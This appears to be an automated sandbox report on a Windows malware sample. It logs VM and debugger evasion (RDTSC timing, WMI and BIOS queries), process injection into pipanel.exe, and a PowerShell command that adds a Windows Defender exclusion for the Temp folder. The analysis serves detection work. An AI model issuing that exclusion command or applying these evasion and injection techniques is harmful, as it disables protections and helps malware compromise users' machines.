Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_030058D3	7_2_030058D3
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_030058EE	7_2_030058EE
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03005C38	7_2_03005C38
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03005C53	7_2_03005C53

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	API/Special instruction interceptor: Address: 3030AE8
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	API/Special instruction interceptor: Address: 3030B19

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	RDTSC instruction interceptor: First address: 3030A88 second address: 3030A8A instructions: 0x00000000 rdtsc 0x00000002 rdtsc
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	RDTSC instruction interceptor: First address: 3030A8A second address: 3030AE8 instructions: 0x00000000 rdtsc 0x00000002 push dx 0x00000004 mov ax, word ptr [esp] 0x00000008 jmp 00007FF40087ED63h 0x0000000a xchg word ptr [esp], bp 0x0000000e pushad 0x0000000f not al 0x00000011 xchg eax, ebp 0x00000012 xchg ax, dx 0x00000014 pushfd 0x00000015 jmp 00007FF40087ED0Fh 0x00000017 bswap ebp 0x00000019 lea ebp, dword ptr [00000000h+edi*4] 0x00000020 mov eax, esp 0x00000022 mov dword ptr [esp+1Dh], edi 0x00000026 jmp 00007FF40087ED5Ah 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	RDTSC instruction interceptor: First address: 3030AE8 second address: 3030B19 instructions: 0x00000000 rdtsc 0x00000002 mov word ptr [esp+06h], sp 0x00000007 lea edx, dword ptr [edi+edi] 0x0000000a mov dword ptr [esp+04h], esi 0x0000000e mov dx, ax 0x00000011 pop ax 0x00000013 jmp 00007FF401882807h 0x00000015 lea edx, dword ptr [00000000h+ebx*4] 0x0000001c lea esp, dword ptr [esp+11h] 0x00000020 setp al 0x00000023 mov edx, esp 0x00000025 jmp 00007FF40188284Bh 0x00000027 mov al, 34h 0x00000029 not bp 0x0000002c setne ah 0x0000002f setnp dl 0x00000032 xchg edx, eax 0x00000034 mov ebp, eax 0x00000036 jmp 00007FF4018828ADh 0x00000038 xchg word ptr [esp+07h], dx 0x0000003d pop word ptr [esp+0Ch] 0x00000042 lea eax, dword ptr [esp+1F1D9B4Eh] 0x00000049 mov dword ptr [esp+06h], esp 0x0000004d push word ptr [esp+10h] 0x00000052 mov dword ptr [esp+0Ch], edx 0x00000056 jmp 00007FF401882797h 0x0000005b lea ebp, dword ptr [edx-00000087h] 0x00000061 mov dh, 66h 0x00000063 not bp 0x00000066 rdtsc
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	RDTSC instruction interceptor: First address: 3030B19 second address: 3030B7F instructions: 0x00000000 rdtsc 0x00000002 push dword ptr [esp+02h] 0x00000006 jmp 00007FF40087ED6Ch 0x00000008 lea eax, dword ptr [00000000h+edi*4] 0x0000000f not al 0x00000011 not ax 0x00000014 bswap eax 0x00000016 not bp 0x00000019 mov ebp, B44F9BA3h 0x0000001e jmp 00007FF40087ECF2h 0x00000020 mov bp, word ptr [esp+09h] 0x00000025 xchg byte ptr [esp+09h], dl 0x00000029 mov dh, ch 0x0000002b pop ebp 0x0000002c mov ebp, esp 0x0000002e lea esp, dword ptr [esp+03h] 0x00000032 jmp 00007FF40087ED5Eh 0x00000034 mov al, byte ptr [esp] 0x00000037 mov bp, 3896h 0x0000003b mov dh, cl 0x0000003d mov ebp, dword ptr [esp] 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	RDTSC instruction interceptor: First address: 3030991 second address: 3030981 instructions: 0x00000000 rdtsc 0x00000002 lea esi, dword ptr [00000000h+eax*4] 0x00000009 lea ebx, dword ptr [esi+ebp] 0x0000000c xchg dx, di 0x0000000f pop ax 0x00000011 jmp 00007FF401882806h 0x00000013 mov word ptr [esp+04h], si 0x00000018 xchg ah, cl 0x0000001a xchg al, dl 0x0000001c rdtsc

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: 31D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: 5170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: 4EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: ECB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: 10CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: 12970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: 13970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: 14010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: 16010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Memory allocated: 19010000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

Code function: 0_2_00BD5DD0 rdtsc

0_2_00BD5DD0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Window / User API: threadDelayed 444	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Window / User API: threadDelayed 436	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1916	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 772	Jump to behavior

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	API coverage: 4.5 %
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	API coverage: 6.9 %

Source: C:\Users\user\Desktop\mDHwap5GlV.exe TID: 2008	Thread sleep count: 444 > 30	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe TID: 5332	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe TID: 3608	Thread sleep count: 436 > 30	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe TID: 2008	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 180	Thread sleep count: 1916 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5304	Thread sleep count: 772 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3448	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe TID: 1464	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe TID: 3176	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: mDHwap5GlV.exe	Binary or memory string: VMware
Source: mDHwap5GlV.exe	Binary or memory string: Hyper-V
Source: mDHwap5GlV.exe	Binary or memory string: QEMU
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.0000000005171000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Hyper-V<
Source: pipanel.exe, 00000008.00000002.3302032676.0000000003224000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3300982057.0000000003224000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.00000000031EC000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3301790108.00000000031EC000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003224000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.0000000005171000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU<
Source: mDHwap5GlV.exe, 00000000.00000002.2590464295.000000000C4DD000.00000004.00000020.00020000.00000000.sdmp, mDHwap5GlV.exe, 00000000.00000003.1974381057.000000000C4D2000.00000004.00000020.00020000.00000000.sdmp, mDHwap5GlV.exe, 00000000.00000003.1792977855.000000000C4F4000.00000004.00000020.00020000.00000000.sdmp, mDHwap5GlV.exe, 00000000.00000003.2564527873.000000000C4DD000.00000004.00000020.00020000.00000000.sdmp, mDHwap5GlV.exe, 00000000.00000003.1863009432.000000000C4F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.0000000005171000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware<

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_030058D3 Start: 03005C96 End: 03005C9F	7_2_030058D3
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_030058EE Start: 03005C96 End: 03005C9F	7_2_030058EE
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03005C38 Start: 03005C96 End: 03005C9F	7_2_03005C38
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03005C53 Start: 03005C96 End: 03005C9F	7_2_03005C53

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

Code function: 0_2_00BD5DD0 rdtsc

0_2_00BD5DD0

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

Code function: 0_2_00B300D0 IsDebuggerPresent,

0_2_00B300D0

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03001237 mov edx, dword ptr fs:[00000030h]	7_2_03001237
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03002932 mov edx, dword ptr fs:[00000030h]	7_2_03002932
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_0300370B mov eax, dword ptr fs:[00000030h]	7_2_0300370B
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03005FE5 mov edx, dword ptr fs:[00000030h]	7_2_03005FE5
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_030106AF mov eax, dword ptr fs:[00000030h]	7_2_030106AF
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_030106C0 mov eax, dword ptr fs:[00000030h]	7_2_030106C0
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03002578 mov ebx, dword ptr fs:[00000030h]	7_2_03002578

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

Code function: 0_2_00BC2010 GetProcessHeap,RtlAllocateHeap,

0_2_00BC2010

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

Code function: 0_2_00E2E559 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00E2E559

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\"
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\"			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory allocated: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory allocated: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 2EC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory allocated: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 2ED0000 protect: page execute and read and write	Jump to behavior

Contains functionality to prevent local Windows debugging

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

Code function: 0_2_009B06A0 IsDebuggerPresent,RaiseFailFastException,IsDebuggerPresent,SetErrorMode,SetErrorMode,IsDebuggerPresent,SetErrorMode,SetErrorMode,IsDebuggerPresent,DebugBreak,SetErrorMode,SetErrorMode,

0_2_009B06A0

Hijacks the control flow in another process

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe

Memory written: PID: 3732 base: 76F02EC0 value: E9

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe

Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 442000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 445000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 456000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 457000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 2C5C008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 2EC0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 76F02EC0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 2ED0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 31D2D00	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Memory written: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe base: 31D2CFC	Jump to behavior

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\"	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process created: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe "C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Process created: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe "C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe"	Jump to behavior

Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	Binary or memory string: TrayNotifyWndShell_TrayWndU
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	Binary or memory string: Shell_TrayWnd
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	Binary or memory string: SHELL_TRAYWND
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	Binary or memory string: Shell_TrayWndtooltips_class32SV
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	Binary or memory string: Shell_TrayWndU
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	Binary or memory string: PROGMAN
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	Binary or memory string: SHELL_TRAYWNDU

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

Code function: 0_2_00E2F13E GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00E2F13E

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: pipanel.exe, 00000008.00000003.3251284815.00000000032AA000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3251424268.0000000003287000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

